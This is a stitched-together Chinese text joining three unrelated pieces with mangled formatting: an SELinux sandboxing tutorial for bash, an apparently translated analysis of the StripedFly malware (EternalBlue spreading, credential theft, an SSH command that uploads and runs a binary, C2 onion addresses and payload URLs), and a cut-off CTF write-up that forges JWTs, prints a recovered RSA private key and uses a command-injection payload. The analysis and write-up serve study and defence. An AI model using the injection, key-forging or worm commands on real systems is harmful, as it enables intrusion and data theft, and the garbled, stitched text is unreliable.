要創建沙箱並在其中啟動/bin/bash,我們使用沙箱命令,如下所示:

$sandbox-Hsandbox_test/bin/bash沙箱工具應用SELinux 策略將進程限制在沙箱內。這些策略定義進程的訪問權限、系統調用限制和文件限制。策略確保進程只能訪問沙箱配置允許的資源並執行操作。在幕後,它們生成隨機MCS 編號並將其設置為我們進程的SELinux 安全上下文。策略還標記了我們的流程可用的相應文件。

例如,將SELinux 沙箱用於/bin/bash 進程,主目錄位於sandbox_test 中,將導致ls -lZ我們的目錄出現以下輸出:

$ls-lZ|grepsandbox_test

drwxr-xr-x.2useruserunconfined_u:object_r:sandbox_file_t:s0:c146,c31249May306:50sandbox_test在我們的例子中,隨機MCS 數是c146和c312。 /bin/bash 進程使用這些數字運行,根據沙箱源代碼它將獲取SELinux 安全上下文執行命令:

$ps-eZ|grepbash

unconfined_u:unconfined_r:sandbox_t:s0:c146,c312172662?00:00:00bash該策略有效地將我們的bash 進程限制在其主目錄中。但是,此解決方案僅適用於特定文件夾,並限制對具有隨機MCS 編號的特定文件的訪問。具有相同主文件夾的另一個沙盒bash 會與此衝突。為了克服這一限制,我們可以利用沙箱工具及其源代碼的知識來創建自定義SELinux 策略,限制對特定SELinux 類型的訪問。

在接下來的部分中,我們將探討兩種類型的SELinux 策略:

马云惹不起马云寬鬆的策略,不會阻止任何連接,僅監視和記錄安全事件,包括違規行為。當您需要測試、調試或研究文件時,寬鬆策略非常有用。

马云惹不起马云 一種強制策略,用於建立文件的訪問權限並限制任何禁止的活動。它對於建立訪問管理和保護您的解決方案非常有用。

讓我們從建立一個寬鬆的SELinux 策略示例開始。

制定寬鬆政策要為/bin/bash 這樣的簡單進程創建SELinux 策略,我們可以使用該sepolicy generate命令。讓我們運行以下命令,為/bin/bash 進程生成策略文件,並將其命名mybash:

$sudosepolicygenerate--application/bin/bash-nmybashmybash.te 文件包含我們策略的人類可讀的SELinux 規則。接下來,我們需要啟用從unconfined_t 域到自定義mybash_t 域的轉換。為此,我們將以下宏包含在mybash.te 文件中:

unconfined_run_to(mybash_t,mybash_exec_t)該宏允許在執行/bin/bash 進程時在域之間進行轉換,並使我們能夠通過setexeccon為特定進程設置自定義SELinux 域類型。

我們的策略文件現在如下所示:

policy_module(mybash,1.0.0)

########################################

#

#Declarations

#

attribute_rolemybash_roles;

roleattributesystem_rmybash_roles;

typemybash_t;

typemybash_exec_t;

application_domain(mybash_t,mybash_exec_t)

rolemybash_rolestypesmybash_t;

unconfined_run_to(mybash_t,mybash_exec_t)

permissivemybash_t;

########################################

#

#mybashlocalpolicy

#

allowmybash_tself:capability{chownsetgidsetuid};

allowmybash_tself:process{forksetpgidsetrlimitsignal_perms};

allowmybash_tself:fifo_filemanage_fifo_file_perms;

allowmybash_tself:unix_stream_socketcreate_stream_socket_perms;

domain_use_interactive_fds(mybash_t)

files_read_etc_files(mybash_t)

auth_use_nsswitch(mybash_t)

logging_send_syslog_msg(mybash_t)

miscfiles_read_localization(mybash_t)

sysnet_dns_name_resolve(mybash_t)要為/bin/bash 進程安裝此自定義策略並允許/bin/bash 進程在指定的SELinux 上下文下運行,讓我們執行自動生成的腳本:

$sudo./mybash.sh要直接從bash shell 設置進程上下文,我們可以使用一個簡單的代碼片段。讓我們創建一個新文件,將其命名為set_context.c,並向其中添加以下代碼:

#includeselinux/selinux.h

#includestdio.h

#includestdlib.h

#includeunistd.h

#includeerrno.h

intmain(void){

security_context_tcontext_old={0};

security_context_tcontext_new={0};

if(getcon(context_old)==-1){

printf('Failedtogetcontext');

return1;

}

printf('%s\n',context_old);

if(setexeccon((security_context_t)'unconfined_u:unconfined_r:mybash_t:s0')==-1){

printf('Failedtosetcontexterrno%d\n',errno);

return1;

}

execve('/bin/bash',NULL,NULL);

return0;

}現在我們將構建並運行此代碼:

$gcc-omybashset_context.c-lselinux

$./mybash

$此代碼檢索當前SELinux 上下文,將新上下文設置為unconfined_u:unconfined_r:mybash_t:s0,然後使用更新的上下文執行/bin/bash 進程。

現在我們對/bin/bash 進程有了一個寬鬆的策略,並且可以在指定的SELinux 上下文中執行它。讓我們打開另一個終端並檢查/var/log/audit/audit.log。在這裡我們可以看到bash啟動後請求了什麼樣的權限:

type=AVCmsg=audit(1683645539.705:301246):avc:denied{append}forpid=173167comm='bash'name='.bash_history'dev='dm-1'ino=1225470scontext=unconfined_u:unconfined_r:mybash_t:s0tcontext=unconfined_u:object_r:user_home_dir_t:s0tclass=filepermissive=1

type=SYSCALLmsg=audit(1683645539.705:301246):arch=c000003esyscall=257success=yesexit=3a0=ffffff9ca1=55bdf355c5f0a2=401a3=0items=0ppid=172599pid=173167auid=1000uid=1000gid=1000euid=1000suid=1000fsuid=1000egid=1000sgid=1000fsgid=1000tty=pts2ses=32comm='bash'exe='/usr/bin/bash'subj=unconfined_u:unconfined_r:mybash_t:s0key=(null)ARCH=x86_64SYSCALL=openatAUID='sboy'UID='sboy'GID='sboy'EUID='sboy'SUID='sboy'FSUID='sboy'EGID='sboy'SGID='sboy'FSGID='sboy'

type=AVCmsg=audit(1683645539.705:301247):avc:denied{setattr}forpid=173167comm='bash'name='.bash_history'dev='dm-1'ino=1225470scontext=unconfined_u:unconfined_r:mybash_t:s0tcontext=unconfined_u:object_r:user_home_dir_t:s0tclass=filepermissive=1

type=SYSCALLmsg=audit(1683645539.705:301247):arch=c000003esyscall=92success=yesexit=0a0=55bdf355c5f0a1=3e8a2=3e8a3=55bdf355c7a0items=0ppid=172599pid=173167auid=1000uid=1000gid=1000euid=1000suid=1000fsuid=1000egid=1000sgid=1000fsgid=1000tty=pts2ses=32 comm='bash'exe='/usr/bin/bash'subj=unconfined_u:unconfined_r:mybash_t:s0key=(null)ARCH=x86_64SYSCALL=chownAUID='sboy'UID='sboy'GID='sboy'EUID='sboy'SUID='sboy'FSUID='sboy'EGID='sboy'SGID='sboy'FSGID='sboy'請注意包含所請求權限類型和模式的拒絕字段permissive=1,這實際上意味著此SELinux 策略允許這些權限,並且只是在audit.log 中警告它們。

現在,讓我們在自定義bash 進程中執行ls 命令,看看不帶參數執行此命令需要什麼:

type=AVCmsg=audit(1683645670.511:301248):avc:denied{read}forpid=173244comm='ls'name='setcon'dev='dm-1'ino=1211972scontext=unconfined_u:unconfined_r:mybash_t:s0tcontext=unconfined_u:object_r:user_home_t:s0tclass=dirpermissive=1

type=SYSCALLmsg=audit(1683645670.511:301248):arch=c000003esyscall=257success=yesexit=3a0=ffffff9ca1=562f22c913d0a2=90800a3=0items=0ppid=173219pid=173244auid=1000uid=1000gid=1000euid=1000suid=1000fsuid=1000egid=1000sgid=1000fsgid=1000 tty=pts2ses=32comm='ls'exe='/usr/bin/ls'subj=unconfined_u:unconfined_r:mybash_t:s0key=(null)ARCH=x86_64SYSCALL=openatAUID='sboy'UID='sboy'GID='sboy'EUID='sboy'SUID='sboy'FSUID='sboy'EGID='sboy'SGID='sboy'FSGID='sboy'有了ls,我們可以繼續處理/bin/bash 進程並了解如何使用SELinux 強制執行訪問控制。

制定執行政策audit.log 文件中的SELinux 日誌描述了/bin/bash 進程執行的操作。我們將通過註釋掉“permissive”行並刪除任何其他自動生成的權限來禁用自定義策略中的permissive 模式。此後,該策略將生效,這意味著SELinux 將阻止所有不需要的訪問嘗試。

更新後的政策現在如下所示:

policy_module(mybash,1.0.0)

########################################

#

#Declarations

#

attribute_rolemybash_roles;

roleattributesystem_rmybash_roles;

typemybash_t;

typemybash_exec_t;

application_domain(mybash_t,mybash_exec_t)

rolemybash_rolestypesmybash_t;

unconfined_run_to(mybash_t,mybash_exec_t)

#permissivemybash_t;

########################################

#

#mybashlocalpolicy

#

#allowmybash_tself:capability{chownsetgidsetuid};

#allowmybash_tself:process{forksetpgidsetrlimitsignal_perms};

#allowmybash_tself:fifo_filemanage_fifo_file_perms;

#allowmybash_tself:unix_stream_socketcreate_stream_socket_perms;

#domain_use_interactive_fds(mybash_t)

#files_read_etc_files(mybash_t)

#auth_use_nsswitch(mybash_t)

#logging_send_syslog_msg(mybash_t)通過刪除權限,我們有效地限制了/bin/bash 進程的SELinux 上下文。讓我們安裝更新的策略並嘗試運行新的自定義bash:

$sudo./mybash.sh

$./mybash但是,這只會在日誌中產生一行:

type=AVCmsg=audit(1683646222.408:301270):avc:denied{entrypoint}forpid=173428comm='mybash'path='/usr/bin/bash'dev='dm-1'ino=16959619scontext=unconfined_u:unconfined_r:mybash_t:s0tcontext=system_u:object_r:shell_exec_t:s0tclass=filepermissive=0不幸的是,我們的bash 進程缺乏啟動所需的權限。為了解決這個問題,讓我們使用命令生成權限audit2allow並更新我們的策略:

$echo'type=AVCmsg=audit(1683646222.408:301270):avc:denied{entrypoint}forpid=173428comm='mybash'path='/usr/bin/bash'dev='dm-1'ino=16959619scontext=unconfined_u:unconfined_r:mybash_t:s0tcontext=system_u:object_r:shell_exec_t:s0tclass=filepermissive=0'|audit2allow-r

require{

typemybash_t;

typeshell_exec_t;

classfileentrypoint;

}

#=============mybash_t==============

allowmybash_tshell_exec_t:fileentrypoint;接下來,讓我們將生成的行添加到mybash.te 文件的末尾並安裝更新的策略:

$sudo./mybash.sh

$./mybash

Segmentationfault即使進行這些修改後,bash 進程仍然無法啟動,從而導致分段錯誤。所以我們需要將這一行添加到audit.log中:

type=AVCmsg=audit(1683646840.208:301287):avc:denied{map}forpid=173620comm='bash'

引言StripedFly,它是一個加密貨幣挖礦軟件,躲在一個支持Linux和Windows的複雜模塊化框架後面。它配備內置的TOR網絡隧道,用於與指揮(C2)服務器聯繫,還有通過可信賴的服務(如GitLab、GitHub和Bitbucket)進行更新和交付的功能,這一切使用自定義加密歸檔。攻擊者煞費苦心來構建這個框架,披露的真相頗為驚人。

它是如何開始的? 2022年,在Equation惡意軟件中發現的舊代碼的WININIT.EXE進程中遇到了兩個驚人的發現,隨後的分析揭示了可追溯到2017年的早期可疑代碼。在此期間,它成功逃避了分析,之前被誤歸類為加密貨幣挖礦軟件。然而,這不是其主要目標。

我們決定全面分析收集的樣本,只想排除任何不確定因素,這個加密貨幣挖礦軟件是一個極龐大實體的一部分。該惡意軟件使用了定制的EternalBlue SMBv1漏洞來滲入受害者的系統。重要的是,我們的調查剖析了二進制時間戳,表明這個漏洞是在2017年4月之前創建的。值得一提的是,EternalBlue漏洞是Shadow Brokers組織於2017年4月14日公開披露的。

這個特殊蠕蟲與其他使用EternalBlue的惡意軟件的區別在於其獨特的傳播模式。它悄無聲息地傳播,因而避免了大多數安全解決方案的檢測。本文現在簡要概述我們的發現結果。

感染第一個檢測到的shellcode位於WININIT.EXE進程中,該進程能夠從bitbucket[.]org下載二進製文件,並執行PowerShell腳本。最初檢測出來時,感染途徑是未知的;然而,隨著調查逐步深入開展,我們發現了一個與EternalBlue非常相似的SMBv1漏洞。

內核shellcode通過漏洞利用代碼將另外的shellcode注入到用戶空間中,然後部署載荷,其中包括一個具有插件式可擴展功能的框架以及一個超輕量級的TOR網絡客戶軟件。一旦這個過程完成,大門被永久封住,惡意軟件進而禁用了受感染系統上的SMBv1協議。

蠕蟲功能試圖在本地網絡中傳播,不僅僅依賴漏洞,還依賴SSH協議,使用在受害者機器上找到的密鑰。

1.png

圖1. Windows主機上的感染流程

實現持久性為了實現持久性,惡意軟件採用了各種方法。其行為取決於PowerShell解釋器的可用性和授予該進程的特權。該惡意軟件通常在通過漏洞安裝時以管理權限運行,而在通過Cygwin SSH服務器投放時以用戶級權限運行。

如果PowerShell不存在,惡意軟件用MZ-PE加載程序生成一個隱藏文件,其隨機名稱位於%APPDATA%目錄中。該加載程序包括system.img的副本,並隨後在Windows註冊表項Software\Microsoft\Windows\CurrentVersion\Run中以類似GUID的名稱註冊。

如果安裝了PowerShell,其行為將因是否有管理訪問權而異。如果有管理權限,它執行一個PowerShell腳本,該腳本創建兩個具有類似GUID的名稱和不同觸發器的任務調度器項。這些任務的動作由PowerShell加載腳本運行。

如果沒有管理權限,PowerShell腳本加載程序(開頭和末尾被數千個空格包圍)被放置在HKCU\Software\Microsoft\Windows\CurrentVersion\Applets註冊表項中,然後使用以下命令將其註冊到HKCU\Software\Microsoft\Windows\CurrentVersion\Run項中:

2.png

圖2

在PowerShell存在的兩種情況下,惡意軟件歸檔本身的主體存儲在註冊表項Software\Microsoft\Windows\CurrentVersion\Shell中,Base64編碼,由數百個空格包圍,並由上述PowerShell啟動

在Linux主機上,惡意軟件進程隱藏在名稱(sd-pam)下。有眾多方法來實現持久性:可以是系統或用戶systemd服務、自動啟動的.desktop文件,或在合適的/etc/rc*、profile、bashrc或inittab文件中的另一行。惡意軟件可執行文件以隨機名稱放置在/tmp目錄下。

Bitbucket存儲庫為了力求初始漏洞利用工具小巧化,所有可卸載的內容都封裝在加密和壓縮的自定義二進制歸檔中。這個歸檔謹慎地託管在合法網站上,巧妙地偽裝成神秘設備的標記為'm100'的固件二進製文件。

Bitbucket存儲庫於2018年6月21日由Julie Heilman的帳戶創建,它仍然是與該配置文件相關的唯一存儲庫。

3.png

圖3. Bitbucket存儲庫的內容

存儲庫只有一個README.md文件,內含項目名稱。值得注意的是,Downloads文件夾(通常包含編譯後的項目二進製文件)包含五個二進製文件:delta.dat、delta.img、ota.dat、ota.img和system.img。

4.png

圖4. 存儲庫的Downloads文件夾

該文件夾沒有任何版本控制,下載計數器僅反映自上次文件更新以來的下載次數。尤其是,system.img文件充當真實的載荷歸檔,用於初始的Windows系統感染。該文件的下載計數器準確反映了自上次更新以來的新感染數量。在我們分析期間,文件上一次更新是在2022年2月24日,截至2022年6月,初始感染數量為16萬。然而截至2023年9月,這個數字自2023年4月上一次更新以來已降至6萬。

文件ota.img和delta.img用於更新惡意軟件,其中ota.img對應Windows版本,而delta.img對應Linux版本。有意思的是,system.img和ota.img功能上一樣,不過ota.img包含用於完整性驗證的補充元數據,而delta.img充當了通過SSH被Windows版本感染的Linux主機的初始感染載荷。

文件ota.dat和delta.dat以及版本文件都是惡意軟件檢查新更新可用性的工具。然而值得一提的是,ota.img和delta.img的下載計數器並未準確反映當前感染受害者的數量,這是由於惡意軟件主要從其C2服務器獲取更新,僅在C2服務器沒有響應時才從存儲庫下載更新文件。

在我們分析期間,約100萬更新從存儲庫獲得。截止本文撰稿時,Windows系統只有8次更新,Linux系統只有4次更新,這表明了兩種場景:要么活躍感染極少,要么C2服務器保持活躍,並對所有受感染的受害者做出響應。

C2服務器位於TOR網絡中,其.onion地址為gpiekd65jgshwp2p53igifv43aug2adacdebmuuri34hduvijr5pfjad[.]onion:1111。

為了與C2聯繫,惡意軟件採用了自定義的輕量級方法來實現TOR客戶軟件。有趣的是,這種實現似乎並不是基於任何已知的開源TOR實現,顯然缺少許多標準的TOR特性,比如路由、目錄列表、中繼、出口節點模式以及對控制協議的支持。

惡意軟件會定期啟動與C2服務器的TCP連接,發送含有受害者獨特ID的問候信息。然後,它每分鐘發送一個空信標消息。

這項功能表明了攻擊者旨在不惜一切代價隱藏C2服務器,促使攻擊者開發了一個獨特而耗時的項目:創建自己的TOR客戶軟件。這種方法在APT和犯罪軟件開發者當中並不常見,這個醒目的例子強調了這種惡意軟件相比許多其他惡意軟件具有的複雜性。其功能的複雜性和優雅性使我們想起了實現延遲容忍Equation通信網絡及其他庫的優雅代碼,因而它被歸類為高度先進的威脅。

模塊惡意軟件載荷本身的結構是一種單體式二進制可執行代碼,旨在支持可插入模塊,以擴展或更新功能。這種架構方法是APT惡意軟件的標誌,每個模塊負責實現和註冊回調函數,該回調函數在與C2服務器的連接建立或中斷時觸發,或者在從C2服務器接收消息時觸發。這些模塊中的功能分為兩類:服務模塊和擴展功能模塊。

1. 服務模塊配置存儲該模塊通過在Windows版本的HKCU\Software\Classes\TypeLib項中創建一個類似GUID的註冊表項,安全地存儲AES加密的惡意軟件配置。 Linux版本將該信息隱藏在位於用戶主目錄中的隨機隱藏文件夾中。

升級/卸載當與C2服務器的初始連接建立時,服務模塊生成一個8字節的受害者ID,存儲它,然後與所用的system.img文件的散列一起重用它,用於向服務器返回報告。該模塊旨在實現兩個特定的命令:

o服務器發送system.img的新版本,升級過程由生成的腳本或生成的可執行文件來執行。

o執行全面卸載如果C2服務器脫機時間超過20分鐘,並且這種情況持續存在,模塊將嘗試下載ota.dat文件(Linux版本是delta.dat),然後驗證其完整性。如果文件版本發生了變化,模塊通過下載適當的.img文件:面向Windows的ota.img和麵向Linux的delta.img來觸發升級過程。

反向代理該模塊授予訪問受害者網絡的權限,並允許代表受害者執行遠程操作。

2. 功能模塊雜項命令處理程序該模塊包含一系列命令,用於與受害者的文件系統交互、捕獲屏幕截圖、檢索系統版本,並獲得Linux上的活躍X11顯示內容(默認值是Windows上的WinSta0)。它還包含一個能夠執行從C2服務器收到的shellcode的命令。

憑據收集程序該模塊運行一個專用線程,每兩小時定期掃描一次。在掃描過程中,它從所有活躍用戶收集一系列敏感信息,這些信息包括網站登錄用戶名及密碼,以及個人自動填寫數據,比如姓名、地址、電話號碼、公司和職銜。它還獲取已知的Wi-Fi網絡名稱和相關密碼,以及來自流行的軟件客戶軟件(如FileZilla、Cyberduck和WinSCP)的SSH、FTP和WebDav憑據。

值得一提的是,Web瀏覽器對憑據收集的支持不僅限於Chrome、Firefox和Internet Explorer等知名瀏覽器,還包括一些不太知名的瀏覽器,比如Nichrome、Xpom、RockMelt、Vivaldi、SaMonkey、Epic Privacy和Brave。

在Linux版本中,它還收集存儲在$HOME/.ssh中的OpenSSH密鑰,將來自$HOME /.ssh/known_hosts的主機整理成表,並包括從Libsecret保管庫檢索秘密信息的功能。然而,這項特殊的功能目前有缺陷,因為鏈接的musl libc庫中沒有dlopen API實現。

可重複的任務該模塊擁有幾個內置的功能任務,這些任務可以執行一次,也可以在可重複的調度基礎上執行,條件是特定窗口必須可見,這些任務才會繼續處理。

下面簡要描述任務:

马云惹不起马云獲取屏幕截圖,列出那一刻可見的所有窗口。

马云惹不起马云使用某個命令行執行進程,重定向輸出,並使用正則表達式加以過濾。

马云惹不起马云記錄麥克風輸入。

马云惹不起马云該任務收集具有特定擴展名的文件列表,比如與圖像、文檔、聲音、視頻、歸檔、數據庫、證書、源代碼文件相關的文件及其他關鍵的用戶數據文件。該進程掃描所有本地驅動器和網絡共享區,系統文件夾除外。這是在惡意軟件的Linux版本中運行的唯一任務。

偵察模塊該模塊匯集大量的系統信息,並在連接時將其傳輸到C2服務器。收集的數據包含眾多詳細信息,包括操作系統版本、計算機名稱、硬件MAC地址列表、Windows系統的當前用戶名、Linux系統的/etc/passwd文件、機器的IP地址、當前連接的TOR網絡出口節點的IP地址、系統啟動時間、惡意軟件正常運行時間、時間及時區,總內存/可用內存量、用戶管理權限以及特定的Windows相關信息,比如UI語言和鍵盤佈局、存在的防病毒軟件、NetBIOS名稱、DNS域、機主的Windows許可證詳細信息以及存在的PowerShell命令解釋器。

SMBv1和SSH感染程序有兩個模塊專門負責惡意軟件的滲透能力,它們構成了核心的蠕蟲功能。

一旦憑據收集模塊完成任務,SSH感染程序就開始發威,它過濾結果尋找SSH密鑰和憑據,如果找到,就激活專用線程。該線程的隨機超時中斷時間從10分鐘到2小時不等,啟動滲透進程。

首先,它從緩存或直接從bitbucket[.]org檢索delta.dat和delta.img。然後,它進而驗證這些文件的完整性,從delta.img動態加載libay庫、zlib庫和libssh2庫。下一步是嘗試連接到遠程SSH服務器。如果連接成功,它調用並解析/bin/sh -c ' uname -nmo '命令的輸出;如果遠程系統受支持,惡意軟件將其二進製文件以隨機名稱上傳到遠程的/tmp文件夾,並以命令/bin/sh -c 'cat %s; chmod +x %s; nohup sh -c '%s; rm %s' /dev/null'執行該文件。這個方法確保了與x86、amd64、arm和aarch64 Linux CPU等架構兼容,並使用生成的MZ-PE加載程序與Cygwin x86和amd64遠程主機兼容。

SMBv1感染模塊使用自定義的EternalBlue漏洞利用代碼,充當Windows受害者的主要滲透工具。初始執行後,它通過修改受害者係統上的HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters註冊表項,立即禁用SMBv1協議。然後,它啟動兩個專用線程來執行定期的蠕蟲活動。

第一個線程負責檢查網絡適配器的IP地址和子網掩碼,然後試圖在整個局域網子網內引起感染。相比之下,第二個線程定期嘗試選擇一個隨機的互聯網IP地址,以下地址排除在外:

obogon網絡,比如0.0.0.0/8、10.0.0.0/8、100.64.0.0/10、 127.0.0.0/8、172.16.0.0/12、192.168.0.0/16、198.18.0.0/15、224.0.0.0/4和240.0.0.0/4。

o169.255.0.0/16--主要指南非。這可能是一個bug,開發者可能意指169.254.0.0/16--bogon網絡列表中缺失的部分。

o3.0.0.0/8、15.0.0.0/8、16.0.0.0/8、56.0.0.0/8--亞馬遜、惠普和美國郵政部等。

o6.0.0.0/8和55.0.0.0/8--美國陸軍信息系統司令部。

o7.0.0.0/8、11.0.0.0/8、21.0.0.0/8、22.0.0.0/8、26.0.0.0/8、 28.0.0.0/8、29.0.0.0/8、30.0.0.0/8、33.0.0.0/8、214.0.0.0/8和215.0.0.0/8--美國國防部網絡信息中心。

受支持的Windows版本包括Windows Vista、Windows 7、Windows Server 2008 R2、Windows 8、Windows Server 2012和Windows 10(直至build 14392)。

門羅加密貨幣挖礦模塊Monero挖礦模塊如虎添翼。它在一個單獨的進程中運行,巧妙地偽裝成位於Google\Chrome\Application\Services目錄中的chrome.exe進程,這可以在公共或本地AppData目錄中找到。這種欺騙性手段甚至包括對偽裝的可執行文件的版本信息和進程圖標進行更改。主模塊中的惡意軟件功能定期監視木偶挖掘進程,必要時重新啟動它,它還向C2服務器如實報告哈希率、工作時間、發現的錯誤和錯誤統計信息。

池服務器的DNS解析被巧妙地隱藏在針對Cloudflare DoH(DNS over HTTPS)服務的DNS over HTTPS請求的後面,為其活動增添了隱蔽性。

我們強烈懷疑這個模塊是惡意軟件能夠長時間逃避檢測的主要原因,它的存在主要是出於巧妙偽裝的需要。值得一提的是,該模塊挖掘的門羅幣在2017年徘徊在10美元左右後於2018年1月9日達到了542.33美元的高位。截至2023年,成交價約150美元。雖然這個模塊肯定有利可圖,但它不一定是這種惡意軟件最賺錢的用途。比如說,尋找未加密的二進制錢包或錢包憑據可能牟取更高的利潤。

此外,惡意軟件代碼中存在與挖礦相關的未加密字符串,這從側面證明了其潛在的輔助用途。

ThunderCrypt我們偶然發現了該惡意軟件的早期版本,這促使我們發現了一個相關的勒索軟件變體:ThunderCrypt。事實證明,這兩種惡意軟件有著同樣的底層代碼庫,更重要的是,它們與位於ghtyqipha6mcwxiz[.]onion:1111的同一台C2服務器進行聯繫。

與StripedFly相比,ThunderCrypt勒索軟件展現了驚人相似的功能和模塊,這包括TOR客戶軟件、配置存儲、升級/卸載和偵察模塊,值得注意的一處例外是沒有SMBv1感染模塊。有意思的是,該勒索軟件使用可重複任務模塊的文件列表組件作為其勒索加密進程的必要部分。

遙測數據顯示,ThunderCrypt首次出現在2017年4月23日,活動的主要高峰期出現在隨後的5月,它因一起相當有趣的事件而引起了台灣新聞網的注意。一名台灣網民因無法支付0.345比特幣的勒索贖金以換取解密內容,決定通過提供的支持電子郵件地址與攻擊者聯繫。他在郵件中坦率地解釋了面臨的困境,提到月收入只有400美元。令許多人吃驚的是,攻擊者回复承認高估了台灣民眾的收入,這次攻擊被認為徹底失敗。

5.png

圖5. 台灣新聞網關於ThunderCrypt的報導

EternalBlue我們認為EternalBlue漏洞與StripedFly背後的開發者存在共同點。我們的假設依賴PE時間戳的準確性,雖然不可能驗證初始EternalBlue模塊時間戳的真實性,但惡意軟件的後續更新含有與遙測數據大致匹配的時間戳,因此初始時間戳很可能也是準確的。我們重新構建的時間線如下:

o2016年4月9日:PE時間戳表明,StripedFly最早的已知版本包含EternalBlue。

o2016年8月:Shadow Brokers組織首次洩露信息。

o2017年3月14日:微軟發布安全公告MS17-010,附有EternalBlue漏洞的補丁。

o2017年4月14日:Shadow Brokers發布了含有EternalBlue漏洞的洩露信息。

o2017年4月15日:第一個包含EternalBlue的勒索軟件ExPetr出現。

o2017年4月20日:出現了最早版本的ThunderCrypt勒索軟件(不含EternalBlue)。

o2017年4月23日:首次在遙測數據中檢測到了ThunderCrypt。

o2017年5月12日:WannaCry勒索軟件攻擊利用了EternalBlue。

o2017年6月27日:ExPetr攻擊使用了EternalBlue。

o2017年8月24日:在初始PE時間戳給出的日期一年後,我們的遙測數據首次檢測到StripedFly。

綜上所述,這些不同的數據表明了與Equation惡意軟件相似,不過沒有直接證據表明它們存在關聯。與Equation惡意軟件家族相關的特徵便於發現了該惡意軟件,編碼風格和方法與SBZ惡意軟件頗為相似。

結論StripedFly是很久以前編寫的,多年來它成功地逃避了檢測,無疑實現了其預期目的。許多矚目和復雜的惡意軟件已被調查過,但這個軟件很特別,確實值得關注。

真正的目的是什麼?這仍然是個謎。雖然ThunderCrypt勒索軟件表明開發者出於商業動機,但它提出了一個問題:為什麼他們不選擇可能更有利可圖的途徑?勒索軟件團伙基本上旨在獲取匿名贖金,而這個案例似乎一反常態。

問題仍然存在,但只有那些設計這個神秘惡意軟件的人知道答案,如此復雜且專業設計的惡意軟件只想達到這種微不足道的目的,實在讓人費解。

攻陷指標C2服務器gpiekd65jgshwp2p53igifv43aug2adacdebmuuri34hduvijr5pfjad[.]onion ghtyqipha6mcwxiz[.]onion

ajiumbl2p2mjzx3l[.]onion

URLbitbucket[.]org/JulieHeilman/m100-firmware-mirror/downloads/

bitbucket[.]org/upgrades/um/downloads/

bitbucket[.]org/legit-updates/flash-player/downloads

gitlab[.]com/JulieHeilman/m100-firmware-mirror/raw/master/

gitlab[.]com/saev3aeg/ugee8zee/raw/master/

github[.]com/amf9esiabnb/documents/releases/download/

tcp://pool.minexmr[.]com:4444

tcp://mine.aeon-pool[.]com:5555

tcp://5.255.86[.]125:8080

tcp://45.9.148[.]21:80

tcp://45.9.148[.]36:80

tcp://45.9.148[.]132:8080

system

一、青龙组WEB

web1

开局随便随便输入都可以登录,登上去以后生成了一个token和一个session,一个是jwt一个是flask框架的

这边先伪造jwt,是国外的原题

CTFtime.org / DownUnderCTF 2021 (线上) / JWT / Writeup

先生成两个token,然后利用rsa_sign2n工具来生成公钥

  python3 jwt_forgery.py eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFhYWFhIn0.EnToBP4kzW6jbUqkC7fjt-FcCq9mOMhKWRqKpo12BsG464YTX2QNiBLuzgqJhnDlGF2Ukqb6oWXhFm0qiKrbg1skUb0FO2kMBkEvRLpyGJ7tXOzcndGDl-egaMa-mSN321RNW-aiCKJsij5Tf0HzQgBU8UCg1Zd8uJaybcj3oXOi eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImEifQ.IUanU3g_ZtyPjDnOJ9gockfRo1oOQLmQT0To_WYLi9I9PluHxbBId5d2wFiF-sIhGPuDtzPvShiE1ao0qnMlp3X7pVf-Qb-juaslvbnpR1rCKH2D3Kq4u1d2wEDvsgWVtjYA6s5NXrvJpzDcpZlzmx_6Ywn8caqVQ3kjlTv87OKO

img

得到public key

-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgSSlUMfCzg/ysG4ixoi6NKGuWNnv
IpZZTRNa045eH2xzzY/ZyRwDojStMH5wxG6nOVvNAY/ETx2XPPC6J1J//nzC1fAN
MNCYRa47xIW0RwZBDSABcGnwu3QP2nr7AR0/tZmSClncdwA7RKzlJM8Fs7Zmb502
ZMSv0AxMgN5UMh9FCwIDAQAB
-----END PUBLIC KEY-----

然后利用RsaCtfTool得到私钥

img

-----BEGIN RSA PRIVATE KEY-----
MIICoQIBAAKBgSSlUMfCzg/ysG4ixoi6NKGuWNnvIpZZTRNa045eH2xzzY/ZyRwD
ojStMH5wxG6nOVvNAY/ETx2XPPC6J1J//nzC1fANMNCYRa47xIW0RwZBDSABcGnw
u3QP2nr7AR0/tZmSClncdwA7RKzlJM8Fs7Zmb502ZMSv0AxMgN5UMh9FCwIDAQAB
AoGBC5/r+nCv2+uWXTjL8i6UJtLIfdOssxKbJNiIKLXQh3l8IAAfx1i9ktxYEICW
TcGTUkx9gjd+xUwo0KOKjcg3hZc7bEfLkiOsK8dSwsPFEXYQpCE1EFokhkc9Rbiq
URC9QIrQjtzf5vdU2usj5ddRGtqtmpXm/ibU1TLPIsy8Y5TJAoGBAP2Mj8b+pnwu
SCp0EYh99ogr6jblQlVwySv34UDQarcFjkQoB60SOMZpGCyPr/auhfDIsNvKyXLK
S7IBEBFMETWywUx28OGFV7xtGF7RfLWmaKYXy4ML/DfHonV8khZ6h5wpyxPL3Wli
uJCSSsjNgXhj4aeGLtRRuySpiXflrdFvAgElAoGBALrhzOO+tJWZQ2XPMVEqjvjl
bXfS2WbCf/Theuzb8Zw/AxJncuj1IlXUBpZpvigTkPPd6MXIHV13j/1+3QnyyEiN
Hf6vOHLxZq6itrDEtafqJP4vUbigr+GpSqxQChl5bNUE1QMdY3AW7LTarzZ8iq5i
6GMi+wdRyp+GOqXd65UPAgERAoGAUjts5pfHSt6T8hfOVcf87eS6qgUqRTlWAGwR
tCfrQkb9tT1qRfgSadzlPuJ+QirDqAm80amNcVZdvTDG8NpmckfP/R+oEcphpOUc
qSFY4PezPMlyb7DcLcQ0sHttpmztthtkdR+GFFdedBPFOjTQC16qDNGSpbmkepfZ
jqta99E=
-----END RSA PRIVATE KEY-----

接着直接伪造jwt即可,成功伪造了用户名为admin

可以访问game路由使用功能,这里又是国外原题

AIS3-pre-exam-2024-Writeup | 堇姬 Naup's Blog

利用emo表情构造出cd flag;p:|cat *

  

直接读源码,可以得到secret_key为36f8efbea152e50b23290e0ed707b4b0

那么直接伪造

img

然后就可以使用上传文件的功能,我们先审计一下这部分的源码

@app.route('/upload', methods=['GET', 'POST'])
def upload():
token = request.cookies.get('token')
